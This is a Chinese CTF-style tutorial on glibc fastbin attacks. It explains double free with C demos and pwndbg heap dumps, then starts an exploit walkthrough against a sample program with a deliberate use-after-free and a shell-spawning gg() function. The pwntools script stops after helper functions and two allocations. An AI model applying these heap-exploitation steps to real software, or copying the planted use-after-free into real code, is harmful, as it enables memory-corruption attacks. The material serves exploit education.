fastbin_attack综述

介绍

fastbin attack是指所有基于fastbin机制的漏洞利用方法。这类利用的前提是:

  • 存在堆溢出、use-after-free等能控制chunk内容的漏洞
  • 漏洞发生于fastbin类型的chunk中

如果细分的话,可以做如下的分类:

  • Fastbin Double Free
  • House of Spirit
  • Alloc to Stack
  • Arbitrary Alloc

其中,Fastbin Double Free和House of Spirit主要漏洞侧重于利用free函数释放真的chunk或伪造的chunk,然后再次申请chunk进行攻击,Alloc to Stack和Arbitrary Alloc侧重于故意修改fd指针,直接利用malloc申请指定位置chunk进行攻击。

原理

fastbin attack存在的原因在于fastbin是使用单链表来维护释放的堆块的,并且由fastbin管理的chunk 即使被释放,其next_chunk 的 prev_inuse位也不会被清空。我们来看一下fastbin是怎样管理空闲chunk的。

size字段: P (PREV_INUSE) :记录前一个chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的size字段的Р位都会被设置为1,以便于防止访问前面的非法内存。当一个 chunk的size的P位为0时,我们能通过prev_size字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲chunk 之间的合并。

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
int main(void)
{
void *p1,*p2,*p3;
p1 = malloc(0x30);
p2 = malloc(0x30);
p3 = malloc(0x30);

free(p1);
free(p2);
free(p3);
return 0;
}

释放前

image-20230726094349124

释放后

image-20230726094444644

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x602000:	0x0000000000000000	0x0000000000000041				<==chunk1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000041 <==chunk2
0x602050: 0x0000000000602000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000041 <==chunk3
0x602090: 0x0000000000602040 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000020f41 <==top chunk
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000

此时位于main_arena中的fastbin链表中已经储存了指向chunk3的指针,并且chunk 3、2、1构成了一个单链表

1
2
3
4
5
6
7
Fastbins[idx=2, size=ox30,ptr=ex602080]

===>Chunk(fd=ex602040, size=ex40flags=PREV_INUSE)

===>Chunk(fd=ex6020ee, size=ex40flags=PREV_INUSE)

===>Chunk(fd=exeeeeee, size=x40flags=PREV_INUSE)

image-20230726095200907

可以用上图表示这点。

fastbin_attack中的fastbin_double_free

简介

fastbin double free是fastbin_attack中的一种,顾名思义就是fastbin中的chunk可以多次释放,因此可以在fastbin单链表中可以存在多次。这样导致的后果是多次分配可以从fastbin链表中取出同一个堆块,相当于多个指针指向同一堆块,结合堆块中的数据内容可以实现类似于类型混淆(typeconfused)的效果。

Fastbin Double Free能够成功利用主要有两部分的原因

1. fastbin的堆块被释放后next_chunk的pre_inuse位不会被清空

2. fastbin在执行 free的时候仅验证了main_arena直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

当执行**free()操作时,glibc会检查fastbin链表的头部是否指向了将要释放的chunk,即检查是否两次free()**了同一个chunk。如果检查到了这种情况,程序会抛出一个错误并终止。因此,不能通过直接free()同一个chunk两次来进行double free。

但是,我们可以通过一些技巧来绕过这种检查。例如,我们可以先分配两个chunk,分别命名为chunk0和chunk1,然后按照以下顺序执行free()操作:free(chunk0); free(chunk1); free(chunk0)。这样就可以绕过上面的检查来进行double free。此时的fastbin链表应该如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
+------------+
| |
| fastbinY |
| |
+-----+------+
|
v
+-----+------+
| |
| chunk0 |
| |
+-----+------+
|
v
+-----+------+
| |
| chunk1 |
| |
+------------+

在前面的free()操作后,我们进行第一次malloc(),就可以分配到chunk0。我们伪造一个fake chunk,往chunk0的数据段中写入fake chunk的地址,就可以将chunk0的fd指向fake chunk,即将fake chunk添加进了fastbin链表中。

然后再进行两次malloc()操作,依次分配到chunk1和chunk0,最后再进行一次malloc()操作时就可以分配到fake chunk。

演示

源码

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
int main(void)
{
void *p1,*p2,*p3;
p1 = malloc(0x30);
p2 = malloc(0x30);

free(p1);
free(p1);
return 0;
}

运行程序,会出现下面这种情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@ubuntu:~/CTF-PWN/fastbin attack# gdb test
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from test...done.
pwndbg> r
Starting program: /root/CTF-PWN/fastbin attack/test
[Inferior 1 (process 93923) exited normally]

这正是_int_free函数检测到了fastbin的double free,但是修改一下代码再试试看

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
int main(void)
{
void *p1,*p2,*p3;
p1 = malloc(0x30);
p2 = malloc(0x30);

free(p1);
free(p2);
free(p1);
return 0;
}

查看一下bin

image-20230726103645232内存详细状况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x602000:	0x0000000000000000	0x0000000000000041 	#chunk1
0x602010: 0x0000000000602040 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000041 #chunk2
0x602050: 0x0000000000602000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000020f81 #top_chunk
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/30gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000602000 #指向chunk1
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000602080 #指向top_chunk
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78
0x7ffff7dd1b90 <main_arena+112>: 0x00007ffff7dd1b78 0x00007ffff7dd1b88
0x7ffff7dd1ba0 <main_arena+128>: 0x00007ffff7dd1b88 0x00007ffff7dd1b98
0x7ffff7dd1bb0 <main_arena+144>: 0x00007ffff7dd1b98 0x00007ffff7dd1ba8
0x7ffff7dd1bc0 <main_arena+160>: 0x00007ffff7dd1ba8 0x00007ffff7dd1bb8
0x7ffff7dd1bd0 <main_arena+176>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bc8
0x7ffff7dd1be0 <main_arena+192>: 0x00007ffff7dd1bc8 0x00007ffff7dd1bd8
0x7ffff7dd1bf0 <main_arena+208>: 0x00007ffff7dd1bd8 0x00007ffff7dd1be8
0x7ffff7dd1c00 <main_arena+224>: 0x00007ffff7dd1be8 0x00007ffff7dd1bf8

第一次释放free(p1)

image-20230726105011922

第二次释放free(p2)

image-20230726105127790

第三次释放free(1)

image-20230726111001678

注意因为chunk1被再次释放,因此其fd的值不再为0而是指向chunk2(请仔细理解下这句话),这时如果我们可以控制chunk1的内容,便可以写入其fd指针从而实现在任意地址分配fastbin块。下面的这个示例就演示了一点,首先和前面一样构造如下图的链表,然后第一次调用malloc返回chunk1,之后修改chunk1的fd的指针指向bss段上的bss_chunk,之后我们可以看到fastbin会把堆块分配到

bss_chunk。

fastbin特性:

当程序需要重新malloc内存并且需要从fastbin中挑选堆块时,会选择后面新加入的堆块拿来先进行内存分配

例题

准备工作

系统环境和libc版本:

image-20230726160619813

image-20230726160639208

检查保护机制

image-20230726160737166

程序源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

char *link_list[10];

void print_menu();
int get_choice();
void add_paper();
void delete_paper();
void secret();
void get_input(char *buffer, int size, int no_should_fill_full);
int get_num();
void gg();

int main()
{
setvbuf(stdout, 0, 2, 0);
int choice;
while (1){
print_menu();
choice = get_num();
switch (choice){
case 1:
add_paper();
break;
case 2:
delete_paper();
break;
case 3:
secret();
default:
break;
}
}
printf("thank you\n");
}

void gg()
{
system("/bin/sh\x00");
}

void secret()
{
long luck_num;
printf("enter your luck number:");
scanf("%ld", &luck_num);
puts("Maybe you want continue manage paper?");
int choice;
while (1){
print_menu();
choice = get_num();
switch (choice){
case 1:
add_paper();
break;
case 2:
delete_paper();
break;
default:
return;
}
}
printf("thank you!");
}

void delete_paper()
{
int index;
printf("which paper you want to delete,please enter it's index(0-9):");
scanf("%d", &index);
if (index < 0 || index > 9)
exit(1);
free(link_list[index]);
puts("delete success !");
}

void add_paper()
{
int index;
int length;
printf("Input the index you want to store(0-9):");
scanf("%d", &index);
if (index < 0 || index > 9)
exit(1);
printf("How long you will enter:");
scanf("%d", &length);
if (length < 0 || length > 1024)
exit(1);
link_list[index] = malloc(length);
if (link_list[index] == NULL)
exit(1);
printf("please enter your content:");
get_input(link_list[index], length, 1);
printf("add success!\n");
}

void print_menu()
{
puts("Welcome to use the paper management system!");
puts("1 add paper");
puts("2 delete paper");
}

void get_input(char *buffer, int size, int no_should_fill_full)
{
int index = 0;
char *current_location;
int current_input_size;
while (1){
current_location = buffer+index;
current_input_size = fread(buffer+index, 1, 1, stdin);
if (current_input_size <= 0)
break;
if (*current_location == '\n' && no_should_fill_full){
if (index){
*current_location = 0;
return;
}
}else{
index++;
if (index >= size)
break;
}
}
}

int get_num()
{
int result;
char input[48];
char *end_ptr;

get_input(input, 48, 1);
result = strtol(input, &end_ptr, 0);
if (input == end_ptr){
printf("%s input is not start with number!\n", input);
result = get_num();
}
return result;
}

IDA静态分析

使用ida静态打开可执行文件,查看一下伪代码

main函数

image-20230726160937300

image-20230726161003490

程序功能界面

get_num函数

image-20230726161048131

主要是用来程序功能的选择。

1、add_paper函数

image-20230726161131054

这是增加paper的函数,需要注意的是申请的堆指针是存放在link_list数组中的,数组的起始地址为0x6020C0

2、delete_paper

image-20230726161305783

这里在free堆块的内容之后,并没有将对应的link_list[delete_index]置空

(link_list[delete_index]=NULL),因此这里存在UAF漏洞。

3、secret

image-20230726161500469

隐藏的功能函数,在菜单界面上没有显示出口,和前面的函数功能一样。

了解程序的内存分布

用pwndbg调试熟悉程序的内存分布

添加两个paper

  • chunk0: index=0; length=20; content=paper1
  • chunk1: index=1 ; length=25; content=paper2

看一下gdb信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x402000 r-xp 2000 0
0x601000 0x602000 r--p 1000 1000
0x602000 0x603000 rw-p 1000 2000
0x603000 0x624000 rw-p 21000 0 [heap]
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdc000 0x7ffff7fdf000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0xa327265706170,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603410 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x317265706170,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x31
}
0x603430 FASTBIN {
prev_size = 0,
size = 49,
fd = 0x327265706170,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603460 PREV_INUSE {
prev_size = 0,
size = 134049,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

看一下堆内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pwndbg> x/30gx 0x603410
0x603410: 0x0000000000000000 0x0000000000000021 ->>chunk0
0x603420: 0x0000317265706170 0x0000000000000000
#paper1
0x603430: 0x0000000000000000 0x0000000000000031 ->>chunk1
0x603440: 0x0000327265706170 0x0000000000000000
#paper2
0x603450: 0x0000000000000000 0x0000000000000000
0x603460: 0x0000000000000000 0x0000000000020ba1 ->>top chunk
0x603470: 0x0000000000000000 0x0000000000000000
0x603480: 0x0000000000000000 0x0000000000000000
0x603490: 0x0000000000000000 0x0000000000000000
0x6034a0: 0x0000000000000000 0x0000000000000000
0x6034b0: 0x0000000000000000 0x0000000000000000
0x6034c0: 0x0000000000000000 0x0000000000000000
0x6034d0: 0x0000000000000000 0x0000000000000000
0x6034e0: 0x0000000000000000 0x0000000000000000
0x6034f0: 0x0000000000000000 0x0000000000000000



pwndbg> x/30gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000411 ->>程序申请的缓冲区
0x603010: 0x000a327265706170 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000

删除paper1

接下来删除申请对对都paper1(index=0,chun0):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
pwndbg> c
Continuing.
2
which paper you want to delete,please enter it's index(0-9):0
delete success !
Welcome to use the paper management system!
1 add paper
2 delete paper
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b04360 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 in ../sysdeps/unix/syscall-template.S
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0xfffffffffffffe00
RBX 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288
RCX 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x400
RDI 0x0
RSI 0x603010 ◂— 0xa327265700a30 /* '0\nper2\n' */
R8 0x7ffff7dd3780 (_IO_stdfile_1_lock) ◂— 0x0
R9 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
R10 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
R11 0x246
R12 0x1
R13 0x1
R14 0x7fffffffde70 —▸ 0x7fffffffdf0a ◂— 0x40 /* '@' */
R15 0x0
RBP 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2887
RSP 0x7fffffffdda8 —▸ 0x7ffff7a875f8 (_IO_file_underflow+328) ◂— cmp rax, 0
RIP 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff
────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x7ffff7b04360 <__read_nocancel+7> cmp rax, -0xfff
0x7ffff7b04366 <__read_nocancel+13> jae read+73 <0x7ffff7b04399>

0x7ffff7b04399 <read+73> mov rcx, qword ptr [rip + 0x2ccad8]
0x7ffff7b043a0 <read+80> neg eax
0x7ffff7b043a2 <read+82> mov dword ptr fs:[rcx], eax
0x7ffff7b043a5 <read+85> or rax, 0xffffffffffffffff
0x7ffff7b043a9 <read+89> ret

0x7ffff7b043aa nop word ptr [rax + rax]
0x7ffff7b043b0 <write> cmp dword ptr [rip + 0x2d2389], 0 <0x7ffff7dd6740>
0x7ffff7b043b7 <write+7> jne write+25 <0x7ffff7b043c9>

0x7ffff7b043c9 <write+25> sub rsp, 8
────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdda8 —▸ 0x7ffff7a875f8 (_IO_file_underflow+328) ◂— cmp rax, 0
01:0008│ 0x7fffffffddb0 ◂— 0x0
02:0010│ 0x7fffffffddb8 —▸ 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288
03:0018│ 0x7fffffffddc0 ◂— 0x0
04:0020│ 0x7fffffffddc8 —▸ 0x7ffff7a86068 (__GI__IO_file_xsgetn+408) ◂— cmp eax, -1
05:0028│ 0x7fffffffddd0 —▸ 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288
06:0030│ 0x7fffffffddd8 ◂— 0x1
... ↓
──────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 7ffff7b04360 __read_nocancel+7
f 1 7ffff7a875f8 _IO_file_underflow+328
f 2 7ffff7a86068 __GI__IO_file_xsgetn+408
f 3 7ffff7a7b246 fread+150
f 4 400ba7 get_input+81
f 5 400c14 get_num+46
f 6 400907 main+58
f 7 7ffff7a2d840 __libc_start_main+240
Program received signal SIGINT
pwndbg> bin
fastbins
0x20: 0x603410 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

可以看到删除的paper1已经进入到fastbin中了

删除paper2

接下来释放chun1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
pwndbg> c
Continuing.
2
which paper you want to delete,please enter it's index(0-9):1
delete success !
Welcome to use the paper management system!
1 add paper
2 delete paper
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b04360 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 in ../sysdeps/unix/syscall-template.S
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0xfffffffffffffe00
RBX 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288
RCX 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x400
RDI 0x0
RSI 0x603010 ◂— 0xa327265700a31 /* '1\nper2\n' */
R8 0x7ffff7dd3780 (_IO_stdfile_1_lock) ◂— 0x0
R9 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
R10 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
R11 0x246
R12 0x1
R13 0x1
R14 0x7fffffffde70 —▸ 0x7fffffffdf0a ◂— 0x40 /* '@' */
R15 0x0
RBP 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2887
RSP 0x7fffffffdda8 —▸ 0x7ffff7a875f8 (_IO_file_underflow+328) ◂— cmp rax, 0
RIP 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff
────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x7ffff7b04360 <__read_nocancel+7> cmp rax, -0xfff
0x7ffff7b04366 <__read_nocancel+13> jae read+73 <0x7ffff7b04399>

0x7ffff7b04399 <read+73> mov rcx, qword ptr [rip + 0x2ccad8]
0x7ffff7b043a0 <read+80> neg eax
0x7ffff7b043a2 <read+82> mov dword ptr fs:[rcx], eax
0x7ffff7b043a5 <read+85> or rax, 0xffffffffffffffff
0x7ffff7b043a9 <read+89> ret

0x7ffff7b043aa nop word ptr [rax + rax]
0x7ffff7b043b0 <write> cmp dword ptr [rip + 0x2d2389], 0 <0x7ffff7dd6740>
0x7ffff7b043b7 <write+7> jne write+25 <0x7ffff7b043c9>

0x7ffff7b043c9 <write+25> sub rsp, 8
────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdda8 —▸ 0x7ffff7a875f8 (_IO_file_underflow+328) ◂— cmp rax, 0
01:0008│ 0x7fffffffddb0 ◂— 0x0
02:0010│ 0x7fffffffddb8 —▸ 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288
03:0018│ 0x7fffffffddc0 ◂— 0x0
04:0020│ 0x7fffffffddc8 —▸ 0x7ffff7a86068 (__GI__IO_file_xsgetn+408) ◂— cmp eax, -1
05:0028│ 0x7fffffffddd0 —▸ 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288
06:0030│ 0x7fffffffddd8 ◂— 0x1
... ↓
──────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 7ffff7b04360 __read_nocancel+7
f 1 7ffff7a875f8 _IO_file_underflow+328
f 2 7ffff7a86068 __GI__IO_file_xsgetn+408
f 3 7ffff7a7b246 fread+150
f 4 400ba7 get_input+81
f 5 400c14 get_num+46
f 6 400907 main+58
f 7 7ffff7a2d840 __libc_start_main+240
Program received signal SIGINT
pwndbg> bin
fastbins
0x20: 0x603410 ◂— 0x0
0x30: 0x603430 ◂— 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

由于之前创建的两个堆块大小不同,所以在fastbin中并不是在同一链表中。

由于程序存在UAF漏洞,在chunk被释放后指针并没有被置空,因此程序存放的结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/30gx 0x6020c0
0x6020c0 <link_list>: 0x0000000000603420 0x0000000000603440
0x6020d0 <link_list+16>: 0x0000000000000000 0x0000000000000000
0x6020e0 <link_list+32>: 0x0000000000000000 0x0000000000000000
0x6020f0 <link_list+48>: 0x0000000000000000 0x0000000000000000
0x602100 <link_list+64>: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
0x602140: 0x0000000000000000 0x0000000000000000
0x602150: 0x0000000000000000 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000
0x602180: 0x0000000000000000 0x0000000000000000
0x602190: 0x0000000000000000 0x0000000000000000
0x6021a0: 0x0000000000000000 0x0000000000000000

控制程序的流程并getshell

模仿程序的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

def add_paper(size,index,content):
sh.recv()
sh.sendline("1")
sh.recv()
sh.sendline(str(index))
sh.recv()
sh.sendline(str(size))
sh.recv()
sh.sendline(content)

def delete_paper(index):
sh.recv()
sh.sendline("2")
sh.recv()
sh.sendline(str(index))

创建两个堆块

1
2
add_paper(0x30,1,"paper1")
add_paper(0x30,2,"paper2")

这里创建了两个堆块,分别为chunk1和chunk2。看一下内存中的分布

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x402000 r-xp 2000 0
0x601000 0x602000 r--p 1000 1000
0x602000 0x603000 rw-p 1000 2000
0x1bbc000 0x1bde000 rw-p 22000 0 [heap]
0x7f4cbfa7f000 0x7f4cbfc3f000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f4cbfc3f000 0x7f4cbfe3f000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f4cbfe3f000 0x7f4cbfe43000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f4cbfe43000 0x7f4cbfe45000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f4cbfe45000 0x7f4cbfe49000 rw-p 4000 0
0x7f4cbfe49000 0x7f4cbfe6f000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f4cc0053000 0x7f4cc0056000 rw-p 3000 0
0x7f4cc006e000 0x7f4cc006f000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f4cc006f000 0x7f4cc0070000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f4cc0070000 0x7f4cc0071000 rw-p 1000 0
0x7ffc9bd42000 0x7ffc9bd63000 rw-p 21000 0 [stack]
0x7ffc9bdf6000 0x7ffc9bdf9000 r--p 3000 0 [vvar]
0x7ffc9bdf9000 0x7ffc9bdfb000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

用heap命令查看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pwndbg> heap
0x1bbc000 PREV_INUSE {
prev_size = 0,
size = 4113,
fd = 0xa327265706170,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1bbd010 FASTBIN { -->>chunk1
prev_size = 0,
size = 65,
fd = 0x317265706170,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1bbd050 FASTBIN { -->>chunk2
prev_size = 0,
size = 65,
fd = 0x327265706170,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1bbd090 PREV_INUSE {
prev_size = 0,
size = 135025,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

再看一下程序内存中的指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> x/30gx 0x6020c0
0x6020c0 <link_list>: 0x0000000000000000 0x0000000001bbd020
#chunk1
0x6020d0 <link_list+16>: 0x0000000001bbd060 0x0000000000000000
#chunk2
0x6020e0 <link_list+32>: 0x0000000000000000 0x0000000000000000
0x6020f0 <link_list+48>: 0x0000000000000000 0x0000000000000000
0x602100 <link_list+64>: 0x0000000000000000 0x0000000000000000
